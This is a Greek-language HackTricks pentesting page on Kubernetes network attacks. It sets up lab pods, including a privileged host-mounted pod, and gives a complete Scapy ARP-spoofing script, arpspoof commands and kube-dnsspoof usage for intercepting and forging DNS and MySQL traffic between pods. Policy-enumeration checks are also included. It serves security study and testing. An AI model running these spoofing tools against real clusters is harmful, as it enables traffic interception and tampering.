Files
hacktricks-cloud/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md
T

330 lines
17 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Kubernetes Network Attacks
{{#include ../../banners/hacktricks-training.md}}
## Introduction
Στο Kubernetes, παρατηρείται ότι μια default συμπεριφορά επιτρέπει τη δημιουργία συνδέσεων μεταξύ **όλων των containers που βρίσκονται στον ίδιο node**. Αυτό ισχύει ανεξάρτητα από τις namespace διακρίσεις. Αυτή η συνδεσιμότητα επεκτείνεται μέχρι το **Layer 2** (Ethernet). Κατά συνέπεια, αυτή η διαμόρφωση εκθέτει δυνητικά το σύστημα σε vulnerabilities. Συγκεκριμένα, ανοίγει τη δυνατότητα για ένα **malicious container** να εκτελέσει ένα **ARP spoofing attack** εναντίον άλλων containers που βρίσκονται στον ίδιο node. Κατά τη διάρκεια ενός τέτοιου attack, το malicious container μπορεί να υποκλέψει ή να τροποποιήσει δόλια την network traffic που προορίζεται για άλλα containers.
Τα ARP spoofing attacks περιλαμβάνουν τον **attacker να στέλνει falsified ARP** (Address Resolution Protocol) μηνύματα σε ένα local area network. Αυτό έχει ως αποτέλεσμα τη σύνδεση της **MAC address του attacker με την IP address ενός νόμιμου computer ή server στο network**. Μετά την επιτυχή εκτέλεση ενός τέτοιου attack, ο attacker μπορεί να υποκλέψει, να τροποποιήσει ή ακόμη και να σταματήσει data in-transit. Το attack εκτελείται στο Layer 2 του OSI model, γι' αυτό και η default connectivity στο Kubernetes σε αυτό το layer εγείρει concerns ασφάλειας.
Στο scenario θα δημιουργηθούν 4 machines:
- ubuntu-pe: Privileged machine για escape στο node και έλεγχο metrics (δεν χρειάζεται για το attack)
- **ubuntu-attack**: **Malicious** container στο default namespace
- **ubuntu-victim**: **Victim** machine στο kube-system namespace
- **mysql**: **Victim** machine στο default namespace
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
```
```bash
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
```
## Βασική Kubernetes Δικτύωση
Αν θέλεις περισσότερες λεπτομέρειες για τα networking topics που παρουσιάζονται εδώ, πήγαινε στις references.
### ARP
Γενικά, το **pod-to-pod networking inside the node** είναι διαθέσιμο μέσω ενός **bridge** που συνδέει όλα τα pods. Αυτό το bridge ονομάζεται “**cbr0**”. (Κάποια network plugins θα εγκαταστήσουν το δικό τους bridge.) Το **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. Όταν ένα incoming packet φτάνει στο cbr0, μπορεί να επιλύσει τη destination MAC address χρησιμοποιώντας ARP.
Αυτό το γεγονός υποδηλώνει ότι, by default, **κάθε pod που τρέχει στο ίδιο node** θα μπορεί να **communicate** με οποιοδήποτε άλλο pod στο ίδιο node (ανεξάρτητα από το namespace) σε ethernet level (layer 2).
> [!WARNING]
> Επομένως, είναι δυνατό να εκτελεστούν A**RP Spoofing attacks μεταξύ pods στο ίδιο node.**
### NetworkPolicy and admin policy layers
Το Kubernetes `NetworkPolicy` είναι ένα pod traffic control στο L3/L4, αλλά enforced by the CNI plugin και όχι από το API server itself. Ένα cluster μπορεί να αποθηκεύει NetworkPolicy objects ενώ εξακολουθεί να επιτρέπει traffic αν το active CNI δεν τα implement them, οπότε πάντα να κάνεις validate με ένα controlled allowed source και ένα blocked negative-control source.
Μην σταματάς στο `kubectl get networkpolicy -A`. Clusters που χρησιμοποιούν Cilium, Calico, OVN-Kubernetes, Antrea, ή managed-provider dataplanes μπορεί επίσης να έχουν policy APIs όπως `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy`, ή `BaselineAdminNetworkPolicy`. Αυτά μπορούν να προσθέσουν explicit deny, tier/order, cluster scope, L7/DNS rules, ή admin guardrails που τα συνηθισμένα additive Kubernetes NetworkPolicy semantics δεν εξηγούν.
Χρήσιμοι πρώτοι έλεγχοι:
```bash
kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico'
kubectl get networkpolicy -A
kubectl get cnp,ccnp -A 2>/dev/null
kubectl get globalnetworkpolicy -A 2>/dev/null
kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null
```
Για bypass analysis, ελέγξτε αν το intended block αποφεύγεται μέσω ενός allowed proxy, DNS ή egress gateway, `hostNetwork` pod, node-local path, broad namespace ή pod label selector, ή ενός higher-precedence admin/global policy. Αναφέρετε τα source pod labels, namespace labels, destination Service ή EndpointSlice, CNI/policy implementation, deciding policy rule, και traffic proof.
### DNS
Σε kubernetes environments θα βρείτε συνήθως 1 (ή περισσότερα) **DNS services running** συνήθως στο kube-system namespace:
```bash
kubectl -n kube-system describe services
Name: kube-dns
Namespace: kube-system
Labels: k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations: prometheus.io/port: 9153
prometheus.io/scrape: true
Selector: k8s-app=kube-dns
Type: ClusterIP
IP Families: <none>
IP: 10.96.0.10
IPs: 10.96.0.10
Port: dns 53/UDP
TargetPort: 53/UDP
Endpoints: 172.17.0.2:53
Port: dns-tcp 53/TCP
TargetPort: 53/TCP
Endpoints: 172.17.0.2:53
Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
```
Στις προηγούμενες πληροφορίες μπορείς να δεις κάτι ενδιαφέρον, το **IP της service** είναι **10.96.0.10** αλλά το **IP του pod** που τρέχει τη service είναι **172.17.0.2.**
Αν ελέγξεις τη DNS address μέσα σε οποιοδήποτε pod θα βρεις κάτι σαν αυτό:
```
cat /etc/resolv.conf
nameserver 10.96.0.10
```
Ωστόσο, το pod **δεν ξέρει** πώς να φτάσει σε αυτή τη **διεύθυνση** επειδή το **pod range** σε αυτή την περίπτωση είναι 172.17.0.10/26.
Επομένως, το pod θα στείλει τα **DNS requests στη διεύθυνση 10.96.0.10** η οποία θα **translated** από το cbr0 **to** **172.17.0.2**.
> [!WARNING]
> Αυτό σημαίνει ότι ένα **DNS request** από ένα pod **πάντα** θα πηγαίνει στο **bridge** για να **translate** το **service IP to the endpoint IP**, ακόμα κι αν ο DNS server βρίσκεται στο ίδιο subnetwork με το pod.
>
> Γνωρίζοντας αυτό, και γνωρίζοντας ότι οι **ARP attacks are possible**, ένα **pod** σε έναν node θα μπορεί να **intercept the traffic** ανάμεσα σε **each pod** στο **subnetwork** και το **bridge** και να **modify** τα **DNS responses** από τον DNS server (**DNS Spoofing**).
>
> Επιπλέον, αν ο **DNS server** βρίσκεται στον **same node as the attacker**, ο attacker μπορεί να **intercept all the DNS request** οποιουδήποτε pod στο cluster (ανάμεσα στον DNS server και το bridge) και να modify τα responses.
> [!NOTE]
> Επαληθεύστε το ενεργό CNI και το DNS path πριν υποθέσετε ότι αυτό λειτουργεί σε πραγματικό cluster. Κάποια CNIs δρομολογούν ή απομονώνουν με διαφορετικό τρόπο το same-node traffic, και clusters που χρησιμοποιούν NodeLocal DNSCache μπορεί να στέλνουν DNS queries των pods σε μια node-local διεύθυνση πριν τα προωθήσουν στο CoreDNS. Σε αυτά τα περιβάλλοντα, το DNS spoofing εξαρτάται από το pod placement, τις packet capabilities, τη resolver configuration, τη συμπεριφορά του node-local cache και από το αν οι εφαρμογές επαληθεύουν peers με TLS ή άλλο identity mechanism.
## ARP Spoofing σε pods στο ίδιο Node
Στόχος μας είναι να **κλέψουμε τουλάχιστον την επικοινωνία από το ubuntu-victim προς το mysql**.
### Scapy
```bash
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses
# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0
# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
```
```python:arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *
def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
if __name__=="__main__":
main()
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
```
### ARPSpoof
```bash
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing
Όπως είχε ήδη αναφερθεί, αν **compromise** ένα pod στον ίδιο node με το pod του DNS server, μπορείς να κάνεις **MitM** με **ARPSpoofing** το **bridge** και το DNS pod και να **modify all the DNS responses**.
Έχεις ένα πολύ ωραίο **tool** και **tutorial** για να το δοκιμάσεις εδώ [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
Στο σενάριό μας, **download** το **tool** στο attacker pod και δημιούργησε ένα **file named `hosts`** με τα **domains** που θέλεις να **spoof** όπως:
```
cat hosts
google.com. 1.1.1.1
```
Εκτέλεσε την attack στο ubuntu-victim machine:
```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge: 172.17.0.1 02:42:bd:63:07:8d
Kube-dns: 172.17.0.2 02:42:ac:11:00:02
[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
```
```bash
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com. 1 IN A 1.1.1.1
```
> [!NOTE]
> Αν προσπαθήσεις να δημιουργήσεις το δικό σου DNS spoofing script, αν **απλώς τροποποιήσεις το DNS response** αυτό **δεν** θα **δουλέψει**, γιατί το **response** θα έχει **src IP** τη διεύθυνση IP του **malicious** **pod** και **δεν** θα **γίνει αποδεκτό**.\
> Πρέπει να δημιουργήσεις ένα **new DNS packet** με το **src IP** του **DNS** όπου το victim έστειλε το DNS request (που είναι κάτι σαν 172.16.0.2, όχι 10.96.0.10, αυτό είναι το K8s DNS service IP και όχι το DNS server ip, περισσότερα γι' αυτό στην εισαγωγή).
## DNS Spoofing via coreDNS configmap
A user with write permissions over the configmap `coredns` in the kube-system namespace can modify the DNS responses of the cluster.
Also review NodeLocal DNSCache if it is deployed. It usually runs as a hostNetwork DaemonSet and has its own ConfigMap, logs, cache, and forwarding path. A CoreDNS change may not be the only place where DNS behavior can be affected or observed.
Check more information about this attack in:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/README.md
{{/ref}}
## Abusing exposed kubernetes management services
Services like Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, and the Kubernetes dashboard are often exposed either to the internet or within the kubernetes network. An attacker that manage to **find any platform used to manage kubernetes and access it** can abuse it to get access to the kubernetes API and perform actions like creating new pods, modifying existing ones, or even deleting them.
## Enumerating kubernetes network policies
Get configured **networkpolicies**:
```bash
kubectl get networkpolicies --all-namespaces
```
Λάβε τις network policies του **Callico**:
```bash
kubectl get globalnetworkpolicy --all-namespaces
```
Λάβετε τα network policies του **Cillium**:
```bash
kubectl get ciliumnetworkpolicy --all-namespaces
```
Λάβε άλλα policy-related CRDs που έχουν εγκατασταθεί από το network plugin ή το security solution σου:
```bash
kubectl get crd | grep -i policy
```
## Capturing Traffic
Το εργαλείο [**Mizu**](https://github.com/up9inc/mizu) είναι ένα απλό αλλά ισχυρό API **traffic viewer για Kubernetes** που σου επιτρέπει να **δεις όλη την API communication** μεταξύ microservices για να βοηθήσει στο debug και στο troubleshooting regressions.\
Θα εγκαταστήσει agents στα επιλεγμένα pods και θα συλλέξει τις traffic information τους και θα σου τις δείξει σε έναν web server. Ωστόσο, θα χρειαστείς υψηλά K8s permissions για αυτό (και δεν είναι ιδιαίτερα stealthy).
## References
- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
{{#include ../../banners/hacktricks-training.md}}